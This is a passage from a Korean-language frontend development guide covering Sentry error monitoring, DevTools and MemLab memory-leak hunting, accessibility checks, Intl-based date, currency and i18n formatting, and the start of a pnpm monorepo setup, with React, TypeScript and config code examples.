에러 우선순위 — 건수가 아니라 '몇 명이 · 무엇을 못 했나' 영향받은 사용자 수 → 핵심 기능 부가 기능 지금 고칠 칸 — 핫픽스 · 롤백 검토 결제 버튼 TypeError 특정 웹뷰 로그인 실패 적어도 핵심 — 이번 주 무해 — 필터로 숨김 ResizeObserver 경고 관리자 툴팁 깨짐 — 백로그 이벤트 건수로 정렬하면 무해한 경고가 맨 위에 옵니다 — '사용자 수'로 정렬하세요
모니터링의 가치는 수집이 아니라 분류에 있습니다 — 오른쪽 위 칸이 비어 있는지가 매일 볼 숫자입니다.

초기화 — 가장 먼저 실행되는 곳에

// src/main.tsx — 다른 import 보다 먼저     npm i @sentry/react
import * as Sentry from "@sentry/react";
import { createRoot } from "react-dom/client";

Sentry.init({
  dsn: import.meta.env.VITE_SENTRY_DSN,      // DSN 은 공개돼도 되는 값
  environment: import.meta.env.MODE,         // production · staging 구분
  release: import.meta.env.VITE_RELEASE,     // 빌드 때 커밋 SHA 주입 ★
  integrations: [
    Sentry.browserTracingIntegration(),
    Sentry.replayIntegration({ maskAllText: true, blockAllMedia: true }),
  ],
  tracesSampleRate: 0.1,                     // 성능 추적 10%
  replaysSessionSampleRate: 0,               // 평소엔 녹화 안 함
  replaysOnErrorSampleRate: 1.0,             // 에러 난 세션만 녹화
  sendDefaultPii: false,                     // IP · 쿠키 자동 수집 끔
});

// React 19 — 루트에서 세 종류의 에러를 모두 보고
const root = createRoot(document.getElementById("root")!, {
  onUncaughtError: Sentry.reactErrorHandler(),   // 경계가 못 잡은 것
  onCaughtError: Sentry.reactErrorHandler(),     // 경계가 잡은 것
  onRecoverableError: Sentry.reactErrorHandler(),// 하이드레이션 불일치 등
});
root.render(<App />);

// 로그인 후 — 이메일 대신 내부 id 만
Sentry.setUser({ id: user.id });
Sentry.setTag("plan", user.plan);

에러 경계는 '구역'마다 — 한 위젯이 페이지를 죽이지 않게

function OrderPage() {
  return (
    <Layout>
      <Sentry.ErrorBoundary
        fallback={({ resetError }) => (
          <WidgetError title="추천 상품을 불러오지 못했습니다" onRetry={resetError} />
        )}
        beforeCapture={(scope) => scope.setTag("area", "recommend")}>
        <Recommendations />
      </Sentry.ErrorBoundary>

      <OrderSummary />   {/* 핵심 영역은 페이지 단위 경계에 맡김 */}
    </Layout>
  );
}
에러 경계가 못 잡는 것 — 이벤트 핸들러 · setTimeout · Promise 안의 에러. 이것들은 전역(window.onerror · unhandledrejection)으로 가고 Sentry 가 자동으로 받습니다. 그래서 catch 해 놓고 아무것도 안 하는 코드가 가장 위험합니다 — 화면도 조용하고 보고도 안 됩니다. 삼켜야 한다면 Sentry.captureException(e) 한 줄은 남기세요.

소스맵 — a.b is not a function 을 원래 줄로 🟡 중급

.map 은 Sentry 에만 — 배포물에는 남기지 않습니다 빌드 sourcemap: hidden Sentry 에 업로드 release = 커밋 SHA .map 삭제 배포물에서 제거 배포 CDN · 서버 사용자 접속 맵은 여기에만 보관 원래 줄로 복원 OrderList.tsx:42 스택 전송 압축된 위치만 브라우저에서 에러 index-9f3.js:1:48213 릴리스 이름이 빌드 · 업로드 · Sentry.init 세 곳에서 같아야 줄이 맞습니다 공개 서버에 .map 을 그대로 두면 원본 코드와 주석이 전부 공개됩니다
"스택이 한 줄짜리 압축 코드로만 보여요"의 원인은 거의 항상 릴리스 이름 불일치입니다.

Vite 플러그인 — 빌드가 끝나면 올리고 지운다

// vite.config.ts     npm i -D @sentry/vite-plugin
import { sentryVitePlugin } from "@sentry/vite-plugin";

export default defineConfig({
  build: { sourcemap: "hidden" },   // .map 은 만들되 JS 끝에 링크 주석을 안 남김
  plugins: [
    react(),
    sentryVitePlugin({              // ★ 플러그인 목록의 맨 뒤
      org: "acme",
      project: "web",
      authToken: process.env.SENTRY_AUTH_TOKEN,  // CI 비밀 — VITE_ 를 붙이면 번들에 박힙니다!
      release: { name: process.env.VITE_RELEASE },
      sourcemaps: { filesToDeleteAfterUpload: ["./dist/**/*.map"] },
    }),
  ],
});
# CI — 같은 SHA 를 빌드와 init 양쪽에
VITE_RELEASE=$GITHUB_SHA npm run build

소음 걸러내기 — 알림이 많으면 아무도 안 봅니다

Sentry.init({
  // …위 설정에 더해
  ignoreErrors: [
    "ResizeObserver loop completed with undelivered notifications",  // 무해
    /^Non-Error promise rejection captured/,
  ],
  denyUrls: [/^chrome-extension:\/\//i, /^moz-extension:\/\//i],      // 확장 프로그램
  beforeSend(event, hint) {
    const err = hint.originalException;
    // 정상 흐름인 것들 — 내가 취소한 요청, 세션 만료
    if (err instanceof ApiError && (err.kind === "aborted" || err.status === 401)) return null;
    return event;
  },
});
"Script error." 만 찍힌다면 — 다른 도메인(CDN)에서 받은 스크립트의 에러는 브라우저가 내용을 숨깁니다. <script crossorigin="anonymous"> + CDN 의 Access-Control-Allow-Origin 헤더가 둘 다 있어야 보입니다.

실무에선 이렇게 — 알림 규칙과 대응 절차 🔴 실무

알림은 '사용자 영향' 기준으로

조건알림
새 이슈 + 결제 · 로그인 · 가입 경로 태그즉시 — 당번 메신저
기존 이슈의 영향 사용자 수가 1시간에 10배즉시
새 릴리스 후 크래시 없는 세션 비율 급락즉시 — 롤백 검토
그 밖의 새 이슈하루 한 번 요약
해결 처리한 이슈가 다시 발생 (회귀)담당자에게 자동 배정
태그를 설계하세요 — area(어느 화면) · flow(결제 · 가입) · plan 같은 태그가 있어야 "결제 경로의 새 에러"라는 규칙을 만들 수 있습니다. 태그는 검색어입니다.

이슈 하나를 받았을 때 — 10분 절차

1. 영향 범위    사용자 수 · 처음 본 릴리스 · 브라우저/OS 분포
                 → 특정 브라우저만? 특정 릴리스부터? 이 둘이 원인의 절반
2. 발자국       breadcrumbs: 직전 클릭 · 이동 · 실패한 요청
3. 재생         Replay 가 있으면 화면으로 확인 (마스킹 상태)
4. 재현         같은 브라우저 · 같은 계정 조건 · 네트워크 감속
5. 판단         롤백 / 핫픽스 / 다음 배포 — 오른쪽 위 칸이면 롤백 먼저
6. 마무리       "다음 릴리스에서 해결"로 표시 → 재발하면 회귀 알림
                 원인이 데이터면 서버 팀에 이슈 링크와 함께 전달
개인정보 — 에러 메시지에 이메일 · 전화번호 · 토큰이 섞여 들어가는 일이 흔합니다(URL 쿼리 · 요청 본문). Sentry 의 서버 측 데이터 스크러빙을 켜고, beforeSend 에서 URL 쿼리를 지우는 처리를 두세요.
정리 — init(릴리스 · 환경) → 구역별 에러 경계 → 숨김 소스맵 업로드 → 소음 필터 → 사용자 영향 기준 알림. 그리고 catch 로 삼킨 에러는 반드시 보고합니다 — 조용한 실패가 가장 비쌉니다.
PROD 09

메모리 누수 찾기 — 바닥선이 오르는가

SPA 는 페이지를 새로 고치지 않으니 작은 누수가 몇 시간에 걸쳐 쌓입니다. 관제 화면 · 사내 업무 툴처럼 하루 종일 켜 두는 앱에서 "오후가 되면 버벅인다", "탭이 터졌다"로 나타납니다. V8 GC 의 원리는 🧬 전문가 탭 d03 · d04, 여기서는 브라우저에서 찾고 고치는 절차입니다.

같은 동작 10회 반복 중 힙 크기 — 톱니의 '바닥'을 봅니다 0 40 80 120 MB 누수 — 회차마다 +7.5 MB GC 뒤에도 바닥이 안 내려옴 정상 — 톱니 모양, 바닥이 그대로 0 2 4 6 8 10회 오르는 것 자체는 정상입니다 — 문제는 GC 뒤의 바닥이 회차마다 높아지는 것
누수 판정은 "같은 동작을 반복했는데 바닥이 계속 오르는가" 하나입니다 — 한 번 재서는 알 수 없습니다.

3-스냅샷 기법 — DevTools Memory 탭

준비   시크릿 창(확장 프로그램 제외) · 프로덕션 빌드에 가깝게
       의심 동작 하나를 정합니다 (예: 주문 상세 모달 열기 → 닫기)

① 동작을 한 번 해서 '처음 한 번만 생기는 것'(캐시 · 코드)을 미리 만듦
② 휴지통 아이콘(Collect garbage) → Heap snapshot #1
③ 동작을 정확히 N번 반복 (예: 10번)
④ 휴지통 → Heap snapshot #2
⑤ 동작 N번 더 → 휴지통 → Heap snapshot #3

읽기  #3 을 선택 → 보기를 Comparison, 기준을 #2 로
      → # Delta 가 N 의 배수인 생성자가 용의자
        (10번 했는데 정확히 +10, +20 이면 거의 확실)
      → 항목 펼쳐 아래 Retainers 창에서 '누가 붙잡고 있나' 추적
필터 창에 Detached 를 치면 DOM 에서 떨어졌는데 아직 살아 있는 요소가 나옵니다. 모달을 닫았는데 Detached HTMLDivElement 가 회차만큼 늘어 있다면 범인을 반쯤 잡은 것입니다.

Retainers 를 읽는 법

Detached HTMLDivElement               ← 살아 있으면 안 되는 것
  ▸ in handler of Function onResize   ← 함수가 그 DOM 을 붙잡음
    ▸ in [[Scope]] … resize listener  ← 리스너 목록에 남아 있음
      ▸ Window                         ← 뿌리(GC root) — 끝

해석: window 에 붙인 resize 리스너를 안 떼서
      → 리스너 함수 → 클로저 → 모달 DOM 이 통째로 남음

체크
 · 경로에 내 코드의 함수 이름이 보이는 가장 아래 칸이 '고칠 곳'
 · (internal) · system / Context 같은 칸은 건너뛰고 읽기
 · Shallow size 는 자기 크기, Retained size 는 '이것만 풀면 같이 풀리는 양'
   → 정렬은 Retained size 로
함수 이름이 안 보이면 — 개발 빌드나 소스맵이 있는 빌드에서 재세요. 압축된 빌드에서는 a · b 만 보입니다. React 개발 모드는 추가 정보를 붙잡아 두므로 최종 확인은 프로덕션 빌드(vite preview)로 합니다.

누수 패턴 — 정리 함수를 잊은 다섯 가지 🟡 중급

리스너 · 타이머 · 관찰자

// ❌ 붙이기만 하고 떼지 않음
useEffect(() => {
  window.addEventListener("resize", onResize);
  const id = setInterval(poll, 5_000);
  const ro = new ResizeObserver(measure);
  ro.observe(boxRef.current!);
}, []);

// ✅ 한 번에 정리 — AbortController 하나로 리스너 여러 개
useEffect(() => {
  const ac = new AbortController();
  window.addEventListener("resize", onResize, { signal: ac.signal });
  document.addEventListener("keydown", onKey, { signal: ac.signal });
  const id = setInterval(poll, 5_000);
  const ro = new ResizeObserver(measure);
  ro.observe(boxRef.current!);

  return () => {
    ac.abort();          // 위 리스너 전부 해제
    clearInterval(id);
    ro.disconnect();
  };
}, []);

// 외부 구독(웹소켓 · 이벤트 버스 · 지도 SDK)도 같은 원칙
useEffect(() => {
  const off = bus.on("price", setPrice);   // 해제 함수를 돌려주는 API 가 좋은 API
  return off;
}, []);

모듈 캐시 · 떨어진 DOM · 큰 클로저

// ❌ 모듈 최상위 Map — 앱이 살아 있는 한 영원히 커짐
const cache = new Map<string, Result>();
export function memo(key: string) { /* cache.set(…) 만 하고 지우지 않음 */ }

// ✅ 크기 상한 또는 객체 키면 WeakMap
const byNode = new WeakMap<Element, Meta>();   // 요소가 사라지면 같이 사라짐
const MAX = 500;
function put(k: string, v: Result) {
  cache.delete(k);                                // 다시 넣으면 맨 뒤로 (Map 은 삽입 순서)
  cache.set(k, v);
  if (cache.size > MAX) cache.delete(cache.keys().next().value!);  // 가장 오래 안 쓴 것
  // 읽을 때도 delete → set 으로 맨 뒤로 옮기면 LRU 가 됩니다
}

// ❌ 떨어진 DOM 을 변수로 붙잡기
let lastModal: HTMLElement | null = null;
function open() { lastModal = document.querySelector(".modal"); }  // 닫혀도 참조 남음

// ❌ 큰 데이터를 잡은 클로저를 오래 사는 곳에 등록
function setup(rows: Row[]) {                   // rows = 50MB
  const total = rows.length;
  window.addEventListener("beforeprint", () => log(total, rows[0]));
  // 콜백이 rows 를 참조 → 리스너가 사는 동안 50MB 가 같이 삼
}
상태 관리 스토어도 의심 대상 — 웹소켓으로 받은 이벤트를 전역 스토어 배열에 push 만 하는 코드. 화면에 최근 100건만 보인다면 저장도 100건만 하세요. 하루 켜 두면 수십만 건이 쌓입니다.

실무에선 이렇게 — 재발을 막는 자동 검사 🔴 실무

MemLab — 시나리오를 돌리고 누수만 보고

// memlab/order-modal.js     npm i -D memlab
// 메타가 만든 도구: 열기(action) → 되돌리기(back)를 하고 남은 객체를 찾아 줍니다
module.exports = {
  url: () => "http://localhost:4173/orders",          // vite preview
  action: async (page) => {
    await page.click("[data-testid=order-row]");
    await page.waitForSelector("[role=dialog]");
  },
  back: async (page) => {
    await page.keyboard.press("Escape");
    await page.waitForSelector("[role=dialog]", { hidden: true });
  },
};
npx memlab run --scenario memlab/order-modal.js
# 결과: 남은 객체의 retainer 경로를 묶어서 보여 줍니다
# 야간 CI 로 돌려 '새로 생긴 누수 경로'가 있으면 알림

패턴별 단서표

패턴스냅샷에서 보이는 모습처방
리스너 미해제Detached 요소 · retainer 에 handler{ signal } + abort
타이머retainer 에 Timeout · 콜백 함수clearInterval
관찰자ResizeObserver · IntersectionObserverdisconnect()
무한 캐시Map · Array 의 Retained size 가 회차마다 증가상한 · WeakMap
스토어 누적상태 배열 길이가 계속 증가창 크기만 보관
서드파티 위젯라이브러리 내부 이름의 Detached 트리문서의 destroy() 호출
빠른 1차 판단 — DevTools Performance monitor(⋮ → More tools)를 켜고 JS heap size · DOM Nodes 를 보며 동작을 반복하세요. DOM Nodes 숫자가 닫은 뒤에도 내려오지 않으면 스냅샷까지 갈 것도 없습니다.
정리 — 반복 → GC → 스냅샷 비교 → Delta 가 N 의 배수인 것 → Retainers 에서 내 코드 줄 찾기. effect 에서 무언가를 '붙였다면' 반드시 정리 함수에서 '떼고', 캐시에는 상한을 둡니다.
PROD 10

접근성 실무 체크 — 키보드 하나로 끝까지 가는가

접근성은 장애가 있는 사용자만의 문제가 아닙니다. 마우스가 고장 난 사람, 한 손으로 폰을 든 사람, 햇빛 아래의 화면 — 그리고 공공 · 금융 서비스라면 법적 요구사항입니다. 역할 · 이름 · 상태의 기초는 📄 HTML 탭 h08, 여기서는 배포 전에 무엇을 어떤 순서로 확인하나입니다.

모달과 포커스 — 원이 '지금 포커스가 있는 곳'입니다 페이지 열기 버튼에 모달 첫 입력칸에 분실 body 로 리셋 열기 (클릭 · Enter · Space) Esc · 닫기 → 열기 버튼으로 복귀 복귀 처리를 안 하면 Tab · Shift+Tab — 모달 안에서만 순환 키보드 사용자는 맨 위부터 다시 — 스크린리더는 위치를 잃음 <dialog> 의 showModal() 은 가두기 · Esc · 바깥 비활성을 기본으로 해 줍니다
모달 접근성의 세 줄 — 열면 안으로, 안에서는 갇히고, 닫으면 원래 자리로.

모달은 네이티브 <dialog> 로

import { useEffect, useId, useRef, type ReactNode } from "react";

export function Modal({ open, onClose, title, children }: {
  open: boolean; onClose: () => void; title: string; children: ReactNode;
}) {
  const ref = useRef<HTMLDialogElement>(null);
  const titleId = useId();

  useEffect(() => {
    const d = ref.current;
    if (!d) return;
    if (open && !d.open) d.showModal();   // 바깥은 inert · 포커스는 안으로 · Esc 지원
    if (!open && d.open) d.close();       // 닫히면 브라우저가 이전 포커스로 복귀
  }, [open]);

  return (
    <dialog ref={ref} aria-labelledby={titleId} className="modal"
      onClose={onClose}                     // Esc 로 닫혀도 상태를 맞춤
      onClick={(e) => { if (e.target === e.currentTarget) onClose(); }}>
      {/* dialog 의 padding 은 0 으로 — 안쪽 div 가 여백을 가져야 배경 클릭 판정이 맞음 */}
      <div className="modal-body">
        <h2 id={titleId}>{title}</h2>
        {children}
        <button type="button" onClick={onClose}>닫기</button>
      </div>
    </dialog>
  );
}
직접 만든 div 모달이라면 — 열 때 document.activeElement 를 기억해 두고 닫을 때 .focus(), 배경에는 inert 속성, 첫 포커스는 첫 입력칸 또는 제목. 이걸 다 손으로 하느니 <dialog> 나 검증된 라이브러리(Radix · React Aria)를 쓰는 편이 싸게 먹힙니다.

포커스가 '보이게' — 가장 흔한 위반

/* ❌ 디자인이 거슬린다고 지우는 순간 키보드 사용자는 길을 잃습니다 */
button:focus { outline: none; }

/* ✅ 키보드로 왔을 때만 보이는 링 — 마우스 클릭엔 안 보임 */
:focus-visible {
  outline: 3px solid #2563eb;
  outline-offset: 2px;
}

/* 화면엔 안 보이고 스크린리더만 읽는 글 */
.sr-only {
  position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px;
  overflow: hidden; clip: rect(0 0 0 0); white-space: nowrap; border: 0;
}

/* 움직임을 줄여 달라는 설정 존중 */
@media (prefers-reduced-motion: reduce) {
  * { animation-duration: .01ms !important; transition-duration: .01ms !important; }
}
대비 기준 (WCAG 2.2 AA)최소 비율
본문 글자4.5 : 1
큰 글자 (24px · 굵게 18.66px 이상)3 : 1
버튼 테두리 · 포커스 링 · 아이콘3 : 1
흰 배경의 #999 회색 글자약 2.8 : 1 — 불합격
흰 배경의 #767676약 4.5 : 1 — 합격선

aria 최소 규칙 — 안 쓰는 게 첫 번째 규칙 🟡 중급

자주 쓰는 다섯 가지 모양

// ① div 버튼 금지 — 키보드 · 스크린리더 모두 '버튼'인 줄 모릅니다
<div className="btn" onClick={save}>저장</div>           {/* ❌ */}
<button type="button" onClick={save}>저장</button>      {/* ✅ */}

// ② 아이콘만 있는 버튼엔 이름
<button type="button" aria-label="검색어 지우기" onClick={clear}>
  <XIcon aria-hidden="true" />
</button>

// ③ 펼침 · 접힘 상태
<button aria-expanded={open} aria-controls="filters" onClick={() => setOpen(!open)}>
  필터
</button>
<div id="filters" hidden={!open}>…</div>

// ④ "저장됨" 같은 알림 — 영역은 처음부터 렌더, 내용만 바꿈
<div aria-live="polite" className="sr-only">{status}</div>

// ⑤ 현재 위치
<a href="/orders" aria-current={active ? "page" : undefined}>주문</a>

규칙과 그 이유

규칙이유
네이티브 요소가 있으면 그것을button 은 Enter · Space · 포커스 · 역할을 공짜로 줍니다
role 을 붙였으면 행동도 구현role="tab" 은 화살표 키 이동까지 약속하는 것
포커스 가능한 요소에 aria-hidden 금지보이지 않는 곳으로 포커스가 들어갑니다
장식 이미지는 alt=""alt 를 빼면 파일 이름을 읽습니다
live 영역은 미리 있어야나중에 생긴 영역의 첫 내용은 안 읽히는 경우가 많음
tabindex 는 0 과 -1 만양수는 탭 순서를 망가뜨립니다
"aria 를 많이 붙일수록 좋다"는 반대입니다 — 잘못 붙인 aria 는 없는 것보다 나쁩니다. WebAIM 의 대규모 조사에서도 aria 를 많이 쓴 페이지가 평균적으로 오류가 더 많았습니다.
자동 검사가 잡는 몫 — 통과해도 '접근성 완료'가 아닙니다 이슈 건수 기준 자동 ≈ 57% 수동 ≈ 43% WCAG 항목 수 기준 자동 ≈ 1/3 사람이 판단 ≈ 2/3 자동이 잘 잡는 것 대비 부족 · alt 누락 label 없는 입력칸 잘못된 aria 속성 · 중복 id 사람만 잡는 것 키보드로 끝까지 갈 수 있나 포커스 순서 · 모달 복귀 alt 문구가 '의미 있는가' 수치는 대략값(Deque 조사 등) — 요점은 '절반 남짓'이라는 크기입니다 자동 검사는 CI 에, 수동 검사는 배포 전 5분 루틴으로
axe 가 0건이어도 키보드로 결제를 못 끝내는 화면은 얼마든지 있습니다.

실무에선 이렇게 — 자동 검사 + 5분 수동 루틴 🔴 실무

자동 — 린트(작성 중) + axe(E2E)

// eslint.config.js      npm i -D eslint-plugin-jsx-a11y
import jsxA11y from "eslint-plugin-jsx-a11y";
export default [
  // …기존 설정
  jsxA11y.flatConfigs.recommended,   // div onClick · alt 누락을 작성 중에 잡음
];
// e2e/a11y.spec.ts      npm i -D @axe-core/playwright
import { test, expect } from "@playwright/test";
import AxeBuilder from "@axe-core/playwright";

for (const path of ["/", "/orders", "/signup"]) {
  test(`접근성 ${path}`, async ({ page }) => {
    await page.goto(path);
    const r = await new AxeBuilder({ page })
      .withTags(["wcag2a", "wcag2aa", "wcag21aa", "wcag22aa"])
      .exclude("#third-party-chat")        // 우리가 못 고치는 영역
      .analyze();
    expect(r.violations).toEqual([]);
  });
}

// 모달 · 메뉴처럼 '열린 상태'도 따로 검사
test("주문 상세 모달", async ({ page }) => {
  await page.goto("/orders");
  await page.getByRole("button", { name: "상세 보기" }).first().click();
  const r = await new AxeBuilder({ page }).include("dialog").analyze();
  expect(r.violations).toEqual([]);
});

수동 — 배포 전 5분 루틴

□ 마우스를 치우고 Tab 만으로 핵심 흐름 끝까지
    (로그인 → 검색 → 장바구니 → 결제 버튼까지)
□ 포커스 링이 항상 보이는가 · 순서가 화면 순서와 같은가
□ 모달: 열면 안으로 · Esc 로 닫힘 · 닫으면 원래 버튼으로
□ 브라우저 확대 200% — 글자가 잘리거나 겹치지 않는가
□ 화면 너비 320px — 가로 스크롤 없이 읽히는가
□ 스크린리더로 한 화면만 (Windows NVDA · macOS VoiceOver)
    버튼 이름이 '버튼'이 아니라 '주문하기'로 읽히는가
□ 에러 메시지가 읽히는가 (PROD 06 의 aria-describedby)
DevTools 에도 도구가 있습니다 — Elements 패널의 Accessibility 탭에서 요소의 계산된 이름 · 역할을 보고, 색 선택기에서 대비 비율을 바로 확인합니다. Lighthouse 의 접근성 점수는 axe 와 같은 엔진입니다(= 자동 몫만).
정리 — 네이티브 요소 먼저 · 포커스 링 지우지 않기 · 모달은 <dialog> · 대비 4.5:1. 린트와 axe 로 절반을 자동으로 막고, 나머지 절반은 Tab 키로 핵심 흐름 끝까지 가 보는 5분이 막습니다.
PROD 11

날짜 · 숫자 · 다국어 — UTC 로 저장, 사람의 말로 표시

"해외 지사에서 마감일이 하루 앞당겨져 보여요", "엔화에 소수점이 찍혀요" — 표시 문제는 대부분 직접 문자열을 조립해서 생깁니다. 브라우저에 내장된 Intl 이 이미 거의 다 해 줍니다. 라이브러리 없이 시작하고, 부족할 때만 더합니다.

한 순간 · 세 장소 — 저장은 하나, 표시는 보는 사람 기준 서버 · DB 서울 뉴욕 2026-03-08T15:30:00Z 저장 · 전송은 항상 UTC ('Z' 붙은 ISO 8601) 3월 9일 (월) 오전 12:30 KST 날짜가 하루 넘어감 3월 8일 (일) 오전 11:30 EDT 이날 새벽 미국은 서머타임 시작 — 어제와 시차가 1시간 다름 new Date("2026-03-08") 은 UTC 자정 → 뉴욕 화면에선 3월 7일 날짜만 있는 값(생일 · 마감일)은 Date 로 바꾸지 말고 문자열 그대로 다룹니다
'순간'(주문 시각)은 UTC 로, '달력 날짜'(생일 · 마감일)는 시간대 없는 문자열로 — 둘을 섞는 순간 하루가 어긋납니다.

날짜 · 시각 표시 — Intl.DateTimeFormat

// 포매터는 만들기가 비쌉니다 — 모듈에서 한 번 만들어 재사용
const seoul = new Intl.DateTimeFormat("ko-KR", {
  dateStyle: "medium", timeStyle: "short", timeZone: "Asia/Seoul",
});
seoul.format(new Date("2026-03-08T15:30:00Z"));   // "2026. 3. 9. 오전 12:30"

// 사용자 브라우저의 시간대
const tz = Intl.DateTimeFormat().resolvedOptions().timeZone;  // "America/New_York"

// 시간대 약어까지
new Intl.DateTimeFormat("en-US", {
  timeZone: "America/New_York", hour: "numeric", minute: "2-digit", timeZoneName: "short",
}).format(new Date("2026-03-08T15:30:00Z"));      // "11:30 AM EDT"
// ※ timeStyle · dateStyle 은 timeZoneName 과 함께 쓰면 TypeError — 개별 옵션으로

// 상대 시간 — "3분 전" 을 직접 만들지 마세요
const rtf = new Intl.RelativeTimeFormat("ko", { numeric: "auto" });
rtf.format(-1, "day");     // "어제"
rtf.format(3, "hour");     // "3시간 후"

// React — 로케일 · 시간대가 바뀔 때만 다시 만들기
const fmt = useMemo(() => new Intl.DateTimeFormat(locale, { dateStyle: "long", timeZone }),
                    [locale, timeZone]);

숫자 · 통화 — Intl.NumberFormat

const krw = new Intl.NumberFormat("ko-KR", { style: "currency", currency: "KRW" });
krw.format(12000);                    // "₩12,000"

new Intl.NumberFormat("ja-JP", { style: "currency", currency: "JPY" }).format(1200);
//                                    "¥1,200"   ← 엔화는 소수점 없음 (자동)
new Intl.NumberFormat("en-US", { style: "currency", currency: "USD" }).format(12.5);
//                                    "$12.50"
new Intl.NumberFormat("de-DE", { style: "currency", currency: "EUR" }).format(1234.5);
//                                    "1.234,50 €"  ← 쉼표 · 마침표가 반대

new Intl.NumberFormat("ko-KR", { notation: "compact" }).format(12_300);  // "1.2만"
new Intl.NumberFormat("ko-KR", { style: "percent", maximumFractionDigits: 1 })
  .format(0.1234);                    // "12.3%"

// 통화별 소수 자릿수를 묻기 — 금액 입력칸의 step 을 정할 때
new Intl.NumberFormat("en", { style: "currency", currency: "JPY" })
  .resolvedOptions().maximumFractionDigits;   // 0
금액 계산을 number 로 하지 마세요 — 0.1 + 0.2 !== 0.3. 서버와는 최소 단위 정수(원 · 센트)나 문자열 십진수로 주고받고, 프론트는 표시만 합니다. 할인 · 세금 계산은 서버의 몫입니다.

시간대 함정 다섯 — 전부 실제로 나는 버그 🟡 중급

// ① 날짜만 있는 ISO 는 UTC 자정, 시각이 있으면 로컬 — 규칙이 다릅니다
new Date("2026-03-08");          // UTC 00:00  → 뉴욕에선 3월 7일 19:00
new Date("2026-03-08T00:00");    // 로컬 00:00

// ② "오늘" 을 toISOString 으로 — 한국 오전 9시 전엔 '어제'
new Date().toISOString().slice(0, 10);                          // ❌ UTC 기준
new Intl.DateTimeFormat("sv-SE", { timeZone: "Asia/Seoul" })
  .format(new Date());                                          // ✅ "2026-10-01"
//  (sv-SE 로케일이 YYYY-MM-DD 모양을 주는 관용구)

// ③ 월은 0부터
new Date(2026, 2, 8);            // 3월 8일 (2 = 3월)

// ④ '하루 뒤' 를 24시간으로 — 서머타임 날은 하루가 23 · 25시간
d.setDate(d.getDate() + 1);              // 달력 기준 (로컬)
new Date(d.getTime() + 86_400_000);      // 시간 기준 — 의도가 다릅니다

// ⑤ 서버가 'Z' 없이 보내면 브라우저는 로컬로 해석
new Date("2026-03-08T15:30:00");  // 서울에선 KST 15:30 = 06:30Z ← 9시간 틀어짐
//  → API 약속: 순간은 반드시 Z 또는 +09:00 같은 오프셋을 붙인다

데이터 종류별 저장 · 전송 규칙

종류예저장 · 전송
순간주문 시각 · 로그인 시각UTC ISO …Z · DB 는 timestamptz
달력 날짜생일 · 마감일 · 휴일"2026-03-08" 문자열 · DB date
벽시계 시각매일 09:00 알림"09:00" + 시간대 이름(Asia/Seoul)
기간30분 · 3일초 단위 정수 또는 ISO 기간 PT30M
시간대는 오프셋이 아니라 이름으로 — +09:00 은 "지금의 차이"일 뿐, 서머타임이 있는 지역은 날짜마다 바뀝니다. 반복 일정에는 America/New_York 같은 IANA 이름을 저장해야 내년에도 맞습니다.

실무에선 이렇게 — Temporal 과 다국어 🔴 실무

Temporal — Date 를 대체할 새 표준

// 브라우저 탑재가 진행 중입니다 — 지원표(caniuse)를 확인하고, 당분간 폴리필과 함께
import { Temporal } from "temporal-polyfill";   // 또는 @js-temporal/polyfill

// 순간 → 장소별 표시
const at = Temporal.Instant.from("2026-03-08T15:30:00Z");
at.toZonedDateTimeISO("Asia/Seoul").toPlainDate().toString();   // "2026-03-09"
at.toZonedDateTimeISO("America/New_York").toString();
// "2026-03-08T11:30:00-04:00[America/New_York]"

// 시간대 없는 달력 날짜 — 생일 · 마감일에 딱 맞는 타입
const due = Temporal.PlainDate.from("2026-03-08");
due.add({ months: 1 }).toString();           // "2026-04-08"
Temporal.Now.plainDateISO("Asia/Seoul");     // 서울의 '오늘'

// 둘의 차이 — 일 단위
due.until(Temporal.PlainDate.from("2026-12-25")).total({ unit: "days" });
지금 고를 것 — 새 코드는 표시는 Intl, 계산은 date-fns(또는 dayjs) 로 두고, 날짜 연산을 한 모듈에 모아 두세요. Temporal 이 기본 탑재되면 그 모듈 하나만 바꾸면 됩니다.

다국어 — 문장을 조립하지 않는다

// ❌ 순서 · 복수형 · 조사가 언어마다 달라 조립하면 깨집니다
`${count} item` + (count > 1 ? "s" : "") + " in cart";

// ✅ 복수형 규칙은 PluralRules 가 압니다 (영어 2종, 아랍어 6종)
const pr = new Intl.PluralRules("en-US");
const forms = { one: "item", other: "items" } as const;
`${count} ${forms[pr.select(count) as keyof typeof forms] ?? forms.other}`;

// 목록 · 정렬 · 글자 수
new Intl.ListFormat("ko", { type: "conjunction" }).format(["사과", "배", "감"]);
//                                    "사과, 배 및 감"
names.sort(new Intl.Collator("ko").compare);          // 한글 정렬
[...new Intl.Segmenter("ko", { granularity: "grapheme" }).segment(nick)].length;
//                                    이모지 · 결합 문자를 한 글자로 센 길이
규칙왜
문장 단위 키 · 변수는 자리표시자"cart.count": "{count}개 담김" — 어순은 번역가가
라이브러리react-i18next · FormatJS(react-intl) — ICU 메시지 형식
로케일 결정 순서사용자 설정 → URL → navigator.languages
글자 길이 여유독일어는 영어보다 30% 이상 길어집니다 — 버튼 폭 고정 금지
정리 — 순간은 UTC ISO(Z), 달력 날짜는 문자열, 표시는 Intl. 금액은 정수나 문자열로 주고받고 표시만 합니다. 문장은 조립하지 말고 키와 자리표시자로 — 그리고 날짜 연산은 한 모듈에 모아 Temporal 로 갈아탈 자리를 만들어 둡니다.
PROD 12

모노레포 · 빌드 설정 — 공유는 쉽게, 비밀은 새지 않게

고객용 앱 · 관리자 앱 · API 서버가 같은 타입과 검증 규칙을 쓰기 시작하면 저장소를 합치게 됩니다. 도구 소개는 🧰 도구 탭 o01 · o02 에 있고, 여기서는 신입이 처음 받은 모노레포에서 막히는 세 곳 — 의존 연결 · tsconfig · 환경 변수 — 을 다룹니다.

워크스페이스 — 앱은 패키지를 참조하고, 반대 방향은 없습니다 acme/ (pnpm workspace) apps/web Vite SPA · 고객용 apps/admin Next.js · 관리자 packages/ui React 컴포넌트 packages/schema zod · 타입 (PROD 06) "workspace:*" 로 참조 — 설치하면 심볼릭 링크로 연결됩니다 apps 끼리 import 하거나 packages 가 apps 를 import 하면 순환이 시작됩니다 tsconfig · eslint 설정도 packages/ 아래 '설정 패키지'로 공유합니다
모노레포의 규칙은 하나 — 화살표는 아래로만. 공유 패키지가 앱을 알기 시작하면 쪼갤 수 없게 됩니다.

워크스페이스와 내부 패키지

# pnpm-workspace.yaml
packages:
  - "apps/*"
  - "packages/*"
catalog:                    # 버전을 한 곳에서 (pnpm 9.5+)
  react: ^19.2.0
  react-dom: ^19.2.0
  zod: ^4.0.0
